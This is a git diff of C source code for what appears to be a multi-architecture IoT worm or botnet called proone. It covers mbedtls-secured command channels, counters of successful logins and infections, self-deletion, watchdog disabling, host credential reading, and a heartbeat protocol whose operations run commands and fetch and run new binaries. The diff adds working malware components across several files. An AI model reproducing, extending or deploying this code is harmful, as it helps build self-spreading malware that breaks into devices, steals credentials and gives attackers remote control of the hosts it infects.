- char *arg_str;
- const char **args;
- struct stat st;
- char *proc_fd_path;
- char *real_shm_path;
-
- if (prne_g.ny_bin_shm_fd < 0) {
- return;
- }
-
- if (fstat(prne_g.ny_bin_shm_fd, &st) < 0 || st.st_size < 0) {
- abort();
- }
- if (st.st_size == 0) {
- if (prne_s_g->has_ny_bin) {
- abort();
+static void load_ssl_conf (void) {
+ if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) {
+ prne_g.s_ssl.ready =
+ mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
+ mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 &&
+ mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 &&
+ mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 &&
+ mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 &&
+ mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0;
+ if (prne_g.s_ssl.ready) {
+ mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ssl.ca, NULL);
+ // mutual auth
+ mbedtls_ssl_conf_authmode(&prne_g.s_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED);
+ // ignore expired cert (system wall clock might not be set)
+ mbedtls_ssl_conf_verify(&prne_g.s_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL);
}
- return;
- }
- data = (uint8_t*)mmap(NULL, (size_t)st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, prne_g.ny_bin_shm_fd, 0);
- for (i = 1; i <= (size_t)st.st_size; i += 1) {
- if (data[st.st_size - i] == 0) {
- bin = &data[st.st_size - i + 1];
- break;
- }
- }
-
- if (bin == NULL) {
- abort();
- }
- args_size = bin - data;
- bin_size = st.st_size - args_size;
- arg_str = prne_malloc(1, args_size);
- memcpy(arg_str, data, args_size);
-
- memmove(bin, data, bin_size);
-
- munmap(data, (size_t)st.st_size);
- data = NULL;
- ftruncate(prne_g.ny_bin_shm_fd, bin_size);
- for (i = 0; i < args_size; i += 1) {
- if (arg_str[i] == 0) {
- argc += 1;
+ prne_g.c_ssl.ready =
+ mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
+ mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 &&
+ mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 &&
+ mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0;
+ if (prne_g.c_ssl.ready) {
+ mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL);
+ // mutual auth
+ mbedtls_ssl_conf_authmode(&prne_g.c_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED);
+ // ignore expired cert (system wall clock might not be set)
+ mbedtls_ssl_conf_verify(&prne_g.c_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL);
}
}
- args = prne_malloc(sizeof(const char*), argc + 1);
- cnt = 1;
- for(i = 1; cnt < argc; i += 1) {
- if (arg_str[i] == 0) {
- args[cnt] = &arg_str[i + 1];
- cnt += 1;
- }
- }
- args[argc] = NULL;
-
- proc_fd_path = prne_malloc(1, proc_fd_path_size);
- snprintf(proc_fd_path, proc_fd_path_size, "/proc/self/fd/%d", prne_g.ny_bin_shm_fd);
- if (lstat(proc_fd_path, &st) < 0) {
- abort();
- }
-
- real_shm_path = prne_malloc(1, st.st_size + 1);
- if (readlink(proc_fd_path, real_shm_path, st.st_size) != st.st_size) {
- abort();
- }
-
- fchmod(prne_g.ny_bin_shm_fd, 0777);
- close(prne_g.ny_bin_shm_fd);
- prne_g.ny_bin_shm_fd = -1;
-
- args[0] = proc_fd_path;
- if (execv(real_shm_path, (char *const*)args) < 0) {
- abort();
- }
}
-static void init_ssl (void) {
- if (mbedtls_x509_crt_parse(&prne_g.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) != 0) {
- return;
- }
-
- prne_g.s_ssl_ready =
- mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
- mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 &&
- mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 &&
- mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 &&
- mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 &&
- mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0;
- if (prne_g.s_ssl_ready) {
- mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ca, NULL);
- }
-
- prne_g.c_ssl_ready =
- mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
- mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 &&
- mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 &&
- mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0;
- if (prne_g.c_ssl_ready) {
- mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ca, NULL);
+static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) {
+ if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) {
+ mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0);
}
}
-static void init_shared_global (prne_rnd_engine_t *rnd) {
+static void init_shared_global (void) {
// just die on error
- const size_t str_len = 1 + 10;
+ const size_t str_len = 1 + 30;
int fd;
char *name;
name = prne_malloc(1, str_len + 1);
name[0] = '/';
name[str_len] = 0;
- prne_rnd_anum_str(rnd, name + 1, str_len - 1);
+ prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1);
fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000);
if (fd < 0) {
@@ -509,60 +383,63 @@ static void init_shared_global (prne_rnd_engine_t *rnd) {
if (prne_s_g == NULL) {
abort();
}
- close(fd);
+ prne_close(fd);
prne_s_g->bne_cnt = 0;
prne_s_g->infect_cnt = 0;
- prne_s_g->has_ny_bin = false;
}
int main (const int argc, char **args) {
- int exit_code = 0;
- prne_rnd_engine_t *rnd = NULL;
+ static int exit_code = 0;
+ static int exit_pipe[2] = { -1, -1 };
prne_g.host_cred_data = NULL;
prne_g.host_cred_size = 0;
- prne_g.ny_bin_shm_name = NULL;
- prne_g.rnd = NULL;
memset(&prne_g.god_start, 0, sizeof(struct timespec));
prne_g.run_cnt = 0;
+ prne_g.resolv = NULL;
+ prne_g.god_exit_evt = -1;
prne_g.caught_signal = 0;
prne_g.god_pid = getpid();
prne_g.proone_pid = 0;
prne_g.lock_shm_fd = -1;
- prne_g.ny_bin_shm_fd = -1;
prne_g.bin_ready = false;
+ prne_g.is_child = false;
prne_init_unpack_bin_archive_result(&prne_g.bin_pack);
prne_init_bin_archive(&prne_g.bin_archive);
- mbedtls_x509_crt_init(&prne_g.ca);
+ mbedtls_x509_crt_init(&prne_g.ssl.ca);
+ mbedtls_entropy_init(&prne_g.ssl.entpy);
+ mbedtls_ctr_drbg_init(&prne_g.ssl.rnd);
mbedtls_ssl_config_init(&prne_g.s_ssl.conf);
mbedtls_x509_crt_init(&prne_g.s_ssl.crt);
mbedtls_pk_init(&prne_g.s_ssl.pk);
mbedtls_dhm_init(&prne_g.s_ssl.dhm);
- prne_g.s_ssl_ready = false;
+ prne_g.s_ssl.ready = false;
mbedtls_ssl_config_init(&prne_g.c_ssl.conf);
mbedtls_x509_crt_init(&prne_g.c_ssl.crt);
mbedtls_pk_init(&prne_g.c_ssl.pk);
- prne_g.c_ssl_ready = false;
+ prne_g.c_ssl.ready = false;
// inits that need no outside resources
prne_init_dvault();
- init_ssl();
set_env();
+ if (pipe(exit_pipe) == 0) {
+ prne_set_pipe_size(exit_pipe[0], 1);
+ prne_ok_or_die(fcntl(exit_pipe[0], F_SETFL, O_NONBLOCK));
+ prne_ok_or_die(fcntl(exit_pipe[1], F_SETFL, O_NONBLOCK));
+ prne_ok_or_die(fcntl(exit_pipe[0], F_SETFD, FD_CLOEXEC));
+ prne_ok_or_die(fcntl(exit_pipe[1], F_SETFD, FD_CLOEXEC));
+ prne_g.god_exit_evt = exit_pipe[0];
+ }
/* inits that need outside resources. IN THIS ORDER! */
- if (!ensure_single_instance()) {
- exit_code = 1;
- goto END;
- }
- rnd = mk_rnd_engine();
- init_shared_global(rnd);
- create_ny_bin_shm(rnd);
+ load_ssl_conf();
+ seed_ssl_rnd(NULL, 0);
+ init_shared_global();
delete_myself(args[0]);
disasble_watchdog();
- print_ready_signature(rnd);
read_host_credential();
// get fed with the bin archive
prne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO);
@@ -570,9 +447,21 @@ int main (const int argc, char **args) {
prne_g.bin_ready = prne_index_bin_archive(&prne_g.bin_pack, &prne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK;
}
+ if (!ensure_single_instance()) {
+ exit_code = 1;
+ goto END;
+ }
+
+ // done with the terminal
+ prne_close(STDIN_FILENO);
+ prne_close(STDOUT_FILENO);
+#ifndef PRNE_DEBUG
+ prne_close(STDERR_FILENO);
+#endif
+
setup_signal_actions();
- prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start));
+ prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start));
// main loop
while (prne_g.caught_signal == 0) {
@@ -582,11 +471,8 @@ int main (const int argc, char **args) {
prne_g.run_cnt += 1;
}
- if (prne_g.proone_pid < 0) {
- sleep(1);
- }
- else if (prne_g.proone_pid > 0) {
- int status;
+ if (prne_g.proone_pid > 0) {
+ static int status;
while (prne_g.caught_signal == 0) {
if (waitpid(prne_g.proone_pid, &status, 0) < 0) {
@@ -597,29 +483,36 @@ int main (const int argc, char **args) {
continue;
}
}
-
- prne_g.proone_pid = 0;
break;
}
- if (!WIFEXITED(status)) {
- sleep(3);
- continue;
+ if (WIFEXITED(status)) {
+ if (WEXITSTATUS(status) == 0) {
+ break;
+ }
+#ifdef PRNE_DEBUG
+ fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.proone_pid, WEXITSTATUS(status));
+#endif
}
- if (WEXITSTATUS(status) == 0) {
- break;
+ else if (WIFSIGNALED(status)) {
+#ifdef PRNE_DEBUG
+ fprintf(stderr, "* child process %d received signal %d!\n", prne_g.proone_pid, WTERMSIG(status));
+#endif
}
+
+ sleep(1);
}
else {
- prne_free(prne_g.ny_bin_shm_name);
- close(prne_g.lock_shm_fd);
+ prne_close(prne_g.lock_shm_fd);
prne_g.lock_shm_fd = -1;
- prne_g.ny_bin_shm_name = NULL;
+ prne_g.is_child = true;
+ seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY));
exit_code = proone_main();
break;
}
}
+ prne_g.proone_pid = 0;
END:
prne_free_bin_archive(&prne_g.bin_archive);
@@ -630,12 +523,14 @@ END:
mbedtls_x509_crt_free(&prne_g.s_ssl.crt);
mbedtls_pk_free(&prne_g.s_ssl.pk);
mbedtls_dhm_free(&prne_g.s_ssl.dhm);
- prne_g.s_ssl_ready = false;
+ prne_g.s_ssl.ready = false;
mbedtls_ssl_config_free(&prne_g.c_ssl.conf);
mbedtls_x509_crt_free(&prne_g.c_ssl.crt);
mbedtls_pk_free(&prne_g.c_ssl.pk);
- prne_g.c_ssl_ready = false;
- mbedtls_x509_crt_free(&prne_g.ca);
+ prne_g.c_ssl.ready = false;
+ mbedtls_x509_crt_free(&prne_g.ssl.ca);
+ mbedtls_ctr_drbg_free(&prne_g.ssl.rnd);
+ mbedtls_entropy_free(&prne_g.ssl.entpy);
prne_free(prne_g.host_cred_data);
prne_g.host_cred_data = NULL;
@@ -644,50 +539,15 @@ END:
if (prne_g.lock_shm_fd >= 0) {
shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL));
prne_dvault_reset_dict();
- close(prne_g.lock_shm_fd);
+ prne_close(prne_g.lock_shm_fd);
prne_g.lock_shm_fd = -1;
}
prne_deinit_dvault();
- prne_free_rnd_engine(rnd);
- rnd = NULL;
-
-
- if (prne_s_g->has_ny_bin) {
- exec_ny_bin();
- }
-
- if (prne_g.ny_bin_shm_name != NULL) {
- shm_unlink(prne_g.ny_bin_shm_name);
- prne_free(prne_g.ny_bin_shm_name);
- }
- close(prne_g.ny_bin_shm_fd);
- prne_g.ny_bin_shm_name = NULL;
- prne_g.ny_bin_shm_fd = -1;
+ write(exit_pipe[1], &exit_code, sizeof(int));
+ prne_close(exit_pipe[0]);
+ prne_close(exit_pipe[1]);
return exit_code;
}
-
-static prne_rnd_engine_t *mk_rnd_engine (void) {
- uint32_t seed = 0;
- prne_rnd_engnie_alloc_result_t ret;
-
- getrandom(&seed, sizeof(uint32_t), 0);
-
- if (seed == 0) {
- // fall back to seeding with what's available.
- seed =
- (uint32_t)(time(NULL) % 0xFFFFFFFF) ^
- (uint32_t)(getpid() % 0xFFFFFFFF) ^
- (uint32_t)(getppid() % 0xFFFFFFFF) ^
- (uint32_t)(clock() % 0xFFFFFFFF);
- }
-
- ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed);
- if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) {
- abort();
- }
-
- return ret.engine;
-}
diff --git a/src/proone.h b/src/proone.h
index c5d3a60..967b8ce 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -1,5 +1,5 @@
#include "pack.h"
-#include "rnd.h"
+#include "resolv_worker.h"
#include <stdint.h>
#include <stdbool.h>
@@ -8,35 +8,41 @@
#include <sys/types.h>
#include <mbedtls/ssl.h>
+#include <mbedtls/entropy.h>
+#include <mbedtls/ctr_drbg.h>
struct prne_global {
uint8_t *host_cred_data;
size_t host_cred_size;
- char *ny_bin_shm_name;
- prne_rnd_engine_t *rnd;
struct timespec god_start;
- uint64_t run_cnt;
+ uint_fast64_t run_cnt;
+ prne_resolv_wkr_ctx_t resolv;
+ int god_exit_evt;
int caught_signal;
pid_t god_pid;
pid_t proone_pid;
int lock_shm_fd;
- int ny_bin_shm_fd;
bool bin_ready;
- bool s_ssl_ready;
- bool c_ssl_ready;
+ bool is_child;
prne_unpack_bin_archive_result_t bin_pack;
prne_bin_archive_t bin_archive;
- mbedtls_x509_crt ca;
struct {
+ mbedtls_x509_crt ca;
+ mbedtls_entropy_context entpy;
+ mbedtls_ctr_drbg_context rnd;
+ } ssl;
+ struct {
+ bool ready;
mbedtls_ssl_config conf;
mbedtls_x509_crt crt;
mbedtls_pk_context pk;
mbedtls_dhm_context dhm;
} s_ssl;
struct {
+ bool ready;
mbedtls_ssl_config conf;
mbedtls_x509_crt crt;
mbedtls_pk_context pk;
@@ -45,12 +51,14 @@ struct prne_global {
struct prne_shared_global {
// "break and entry" count. Number of successful logins.
- uint64_t bne_cnt;
+ uint_fast64_t bne_cnt;
// Number of successful infections.
- uint64_t infect_cnt;
- bool has_ny_bin;
+ uint_fast64_t infect_cnt;
};
+static const intptr_t PRNE_RESOLV_WKR_ID = 0;
+static const intptr_t PRNE_HTBT_WKR_ID = 1;
+
extern struct prne_global prne_g;
extern struct prne_shared_global *prne_s_g;
diff --git a/src/protocol.c b/src/protocol.c
index f063835..4e1da40 100644
--- a/src/protocol.c
+++ b/src/protocol.c
@@ -1,7 +1,11 @@
#include "protocol.h"
+
#include <string.h>
-const char *prne_arch2str (const prne_arch_t x) {
+#include <arpa/inet.h>
+
+
+const char *prne_arch_tostr (const prne_arch_t x) {
switch (x){
case PRNE_ARCH_ARMV4T:
return "armv4t";
@@ -30,40 +34,64 @@ const char *prne_arch2str (const prne_arch_t x) {
return NULL;
}
-prne_arch_t prne_str2arch (const char *str) {
- if (strcmp(str, prne_arch2str(PRNE_ARCH_ARMV4T)) == 0) {
+prne_arch_t prne_arch_fstr (const char *str) {
+ if (strcmp(str, prne_arch_tostr(PRNE_ARCH_ARMV4T)) == 0) {
return PRNE_ARCH_ARMV4T;
}
- else if (strcmp(str, prne_arch2str(PRNE_ARCH_ARMV7)) == 0) {
+ else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_ARMV7)) == 0) {
return PRNE_ARCH_ARMV7;
}
- else if (strcmp(str, prne_arch2str(PRNE_ARCH_I686)) == 0) {
+ else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_I686)) == 0) {
return PRNE_ARCH_I686;
}
- else if (strcmp(str, prne_arch2str(PRNE_ARCH_M68K)) == 0) {
+ else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_M68K)) == 0) {
return PRNE_ARCH_M68K;
}
- else if (strcmp(str, prne_arch2str(PRNE_ARCH_MIPS)) == 0) {
+ else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_MIPS)) == 0) {
return PRNE_ARCH_MIPS;
}
- else if (strcmp(str, prne_arch2str(PRNE_ARCH_MPSL)) == 0) {
+ else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_MPSL)) == 0) {
return PRNE_ARCH_MPSL;
}
- else if (strcmp(str, prne_arch2str(PRNE_ARCH_PPC)) == 0) {
+ else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_PPC)) == 0) {
return PRNE_ARCH_PPC;
}
- else if (strcmp(str, prne_arch2str(PRNE_ARCH_RV32)) == 0) {
+ else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_RV32)) == 0) {
return PRNE_ARCH_RV32;
}
- else if (strcmp(str, prne_arch2str(PRNE_ARCH_RV64)) == 0) {
+ else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_RV64)) == 0) {
return PRNE_ARCH_RV64;
}
- else if (strcmp(str, prne_arch2str(PRNE_ARCH_SH4)) == 0) {
+ else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_SH4)) == 0) {
return PRNE_ARCH_SH4;
}
- else if (strcmp(str, prne_arch2str(PRNE_ARCH_SPC)) == 0) {
+ else if (strcmp(str, prne_arch_tostr(PRNE_ARCH_SPC)) == 0) {
return PRNE_ARCH_SPC;
}
return PRNE_ARCH_NONE;
}
+
+void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out) {
+ memcpy(&out->sin_addr, ep->addr.addr, 4);
+ out->sin_family = AF_INET;
+ out->sin_port = htons(ep->port);
+}
+
+void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out) {
+ memcpy(&out->sin6_addr, ep->addr.addr, 16);
+ out->sin6_family = AF_INET6;
+ out->sin6_port = htons(ep->port);
+}
+
+bool prne_net_ep_set_ipv4 (const char *str, const uint16_t port, prne_net_endpoint_t *out) {
+ out->port = port;
+ out->addr.ver = PRNE_IPV_4;
+ return inet_pton(AF_INET, str, &out->addr.addr) != 0;
+}
+
+bool prne_net_ep_set_ipv6 (const char *str, const uint16_t port, prne_net_endpoint_t *out) {
+ out->port = port;
+ out->addr.ver = PRNE_IPV_6;
+ return inet_pton(AF_INET6, str, &out->addr.addr) != 0;
+}
diff --git a/src/protocol.h b/src/protocol.h
index 5928d9e..8e9540d 100644
--- a/src/protocol.h
+++ b/src/protocol.h
@@ -1,8 +1,19 @@
#pragma once
#include "util_ct.h"
+#include <stdint.h>
#include <stddef.h>
+#include <stdbool.h>
+#include <netinet/in.h>
+
+
+typedef struct prne_net_endpoint prne_net_endpoint_t;
+typedef struct prne_ip_addr prne_ip_addr_t;
+typedef struct prne_htbt_host_info prne_htbt_host_info_t;
+typedef struct prne_htbt_pkt prne_htbt_pkt_t;
+typedef struct prne_htbt_cmd prne_htbt_cmd_t;
+typedef struct prne_htbt_bin_head prne_htbt_bin_head_t;
typedef enum {
PRNE_ARCH_NONE = -1,
@@ -23,6 +34,122 @@ typedef enum {
} prne_arch_t;
PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFF);
+typedef enum {
+ PRNE_IPV_NONE,
+ PRNE_IPV_4,
+ PRNE_IPV_6
+} prne_ipv_t;
+
+_Static_assert(sizeof(struct in_addr) == 4, "sizeof(struct in_addr) == 4");
+_Static_assert(sizeof(struct in6_addr) == 16, "sizeof(struct in6_addr) == 16");
+struct prne_ip_addr {
+ uint8_t addr[16];
+ prne_ipv_t ver;
+};
+
+struct prne_net_endpoint {
+ prne_ip_addr_t addr;
+ uint16_t port;
+};
+
+typedef enum {
+ PRNE_HTBT_OP_NONE,
+
+ PRNE_HTBT_OP_PING,
+ PRNE_HTBT_OP_HOST_INFO,
+ PRNE_HTBT_OP_HOVER,
+ PRNE_HTBT_OP_RUN_CMD,
+ PRNE_HTBT_OP_NY_BIN,
+ PRNE_HTBT_OP_RUN_BIN,
+
+ NB_PRNE_HTBT_OP
+} prne_htbt_op_t;
+PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFF);
+
+typedef enum {
+ PRNE_HTBT_RSPC_OK,
+ PRNE_HTBT_RSPC_PROTO_ERR, // followed by nothing
+ PRNE_HTBT_RSPC_OP_ERR, // followed by int32_t
+
+ NB_PRNE_HTBT_RSPC
+} prne_htbt_rspc_t;
+PRNE_LIMIT_ENUM(prne_htbt_rspc_t, NB_PRNE_HTBT_RSPC, 0xFF);
+
+typedef enum {
+ PRNE_HTBT_SER_RET_OK,
+ PRNE_HTBT_SER_RET_MORE_MEM,
+ PRNE_HTBT_SER_RET_FMT_ERR,
+} prne_htbt_serialise_ret_t;
+
+typedef enum {
+ PRNE_HTBT_DESER_RET_OK,
+ PRNE_HTBT_DESER_RET_MORE_DATA,
+ PRNE_HTBT_DESER_RET_MEM_ERR,
+ PRNE_HTBT_DESER_RET_FMT_ERR,
+} prne_htbt_deserialise_ret_t;
+
+struct prne_htbt_pkt {
+ uint16_t id; // != 0
+ uint8_t code;
+};
+
+struct prne_htbt_host_info {
+ char prog_ver[37];
+ uint64_t uptime;
+ uint64_t rerun_cnt;
+ uint64_t bne_cnt;
+ uint64_t infect_cnt;
+ uint32_t god_pid;
+ uint32_t proone_pid;
+ uint8_t *cred_data; // (uint8_t)salt + ((uint8_t)id_len + (uint8_t)pw_len + str ...)
+ uint16_t cred_data_len; // < 1 + 2 + 255*2
+ prne_arch_t arch;
+};
+
+struct prne_htbt_cmd {
+ char *mem;
+ size_t *offset_arr;
+ uint8_t argc;
+};
+
+struct prne_htbt_bin_head {
+ size_t bin_size;
+ prne_htbt_cmd_t cmd;
+};
+
+static const size_t PRNE_HTBT_PROTO_MIN_BUF = 0;
+static const uint16_t PRNE_HTBT_PROTO_PORT = 0;
+static const size_t PRNE_HTBT_PROTO_TIMEOUT = 0;
+
+
+const char *prne_arch_tostr (const prne_arch_t x);
+prne_arch_t prne_arch_fstr (const char *str);
+
+void prne_net_ep_tosin4 (const prne_net_endpoint_t *ep, struct sockaddr_in *out);
+void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out);
+bool prne_net_ep_set_ipv4 (const char *str, const uint16_t port, prne_net_endpoint_t *out);
+bool prne_net_ep_set_ipv6 (const char *str, const uint16_t port, prne_net_endpoint_t *out);
+
+void prne_htbt_init_pkt (prne_htbt_pkt_t *pkt);
+void prne_htbt_init_host_into (prne_htbt_host_info_t *hi);
+void prne_htbt_alloc_host_into (prne_htbt_host_info_t *hi, const uint16_t cred_data_len);
+void prne_htbt_free_host_into (prne_htbt_host_info_t *hi);
+void prne_htbt_init_cmd (prne_htbt_cmd_t *cmt);
+void prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmt, const uint8_t argc, const uint16_t total_str_len);
+void prne_htbt_free_cmd (prne_htbt_cmd_t *cmt);
+void prne_htbt_init_bin_head (prne_htbt_bin_head_t *nb);
+void prne_htbt_free_bin_head (prne_htbt_bin_head_t *nb);
+
+// prne_htbt_serialise_ret_t prne_htbt_serialise_ (uint8_t *mem, const size_t mem_len, size_t *actual, const something_t *in);
+prne_htbt_serialise_ret_t prne_htbt_serialise_pkt (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_pkt_t *in);
+prne_htbt_serialise_ret_t prne_htbt_serialise_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in);
+prne_htbt_serialise_ret_t prne_htbt_serialise_int32 (uint8_t *mem, const size_t mem_len, size_t *actual, const int32_t in);
+prne_htbt_serialise_ret_t prne_htbt_serialise_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in);
+prne_htbt_serialise_ret_t prne_htbt_serialise_bin_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_head_t *in);
-const char *prne_arch2str (const prne_arch_t x);
-prne_arch_t prne_str2arch (const char *str);
+// prne_htbt_deserialise_ret_t prne_htbt_deserialise_ (const uint8_t *data, const size_t len, size_t *actual, something_t *out);
+prne_htbt_deserialise_ret_t prne_htbt_deserialise_pkt (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_pkt_t *out);
+prne_htbt_deserialise_ret_t prne_htbt_deserialise_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out);
+prne_htbt_deserialise_ret_t prne_htbt_deserialise_int32 (const uint8_t *data, const size_t len, size_t *actual, int32_t *out);
+prne_htbt_deserialise_ret_t prne_htbt_deserialise_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out);
+prne_htbt_deserialise_ret_t prne_htbt_deserialise_bin_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_head_t *out);
diff --git a/src/resolv_worker.c b/src/resolv_worker.c
new file mode 100644
index 0000000..d5bc19d
--- /dev/null
+++ b/src/resolv_worker.c
@@ -0,0 +1,1453 @@
+#include "resolv_worker.h"
+#include "util_rt.h"
+#include "llist.h"
+#include "imap.h"
+#include "protocol.h"
+#include "mbedtls.h"
+
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+
+#include <errno.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/random.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <arpa/inet.h>
+#include <netinet/in.h>
+#include <netinet/tcp.h>
+
+#include <mbedtls/ssl.h>
+#include <mbedtls/ctr_drbg.h>
+
+_Static_assert(sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t), "prne_imap cannot contain uint_fast16_t");
+
+#define OK_OR_ERR(v) if (v < 0) { goto ERR; }
+
+typedef enum {
+ RESOLV_WKR_STATE_OK,
+ RESOLV_WKR_STATE_FIN_CALLED,
+ RESOLV_WKR_STATE_FINALISED,
+} resolv_wkr_state_t;
+
+typedef enum {
+ RESOLV_CTX_STATE_NONE,
+ RESOLV_CTX_STATE_CONN,
+ RESOLV_CTX_STATE_HNDSHK,
+ RESOLV_CTX_STATE_READY,
+ RESOLV_CTX_STATE_CLOSING,
+} resolv_ctx_state_t;
+
+typedef struct {
+ prne_net_endpoint_t *arr;
+ size_t cnt;
+ size_t ptr;
+} resolv_dnssrv_pool_t;
+
+typedef struct {
+ prne_resolv_wkr_ctx_t wkr;
+ prne_llist_entry_t *qlist_ent;
+ char *qname;
+ size_t qname_size;
+ int evtfd[2];
+ prne_wkr_timeout_slot_pt to_slot;
+ uint_fast16_t qid; // 0 reserved
+ prne_resolv_fut_t fut;
+ prne_ipv_t ipv;
+ prne_resolv_query_type_t type;
+} query_entry_t;
+
+struct prne_resolv_wkr_ctx {
+ int dnss_fd[2];
+ int evtfd[2];
+ size_t read_cnt_len;
+ size_t write_cnt_len;
+ prne_wkr_sched_req_t *wsr;
+ prne_wkr_timeout_slot_pt sckop_to_slot;
+ prne_wkr_timeout_slot_pt err_to_slot;
+ prne_wkr_pollfd_slot_pt evt_pfd_slot;
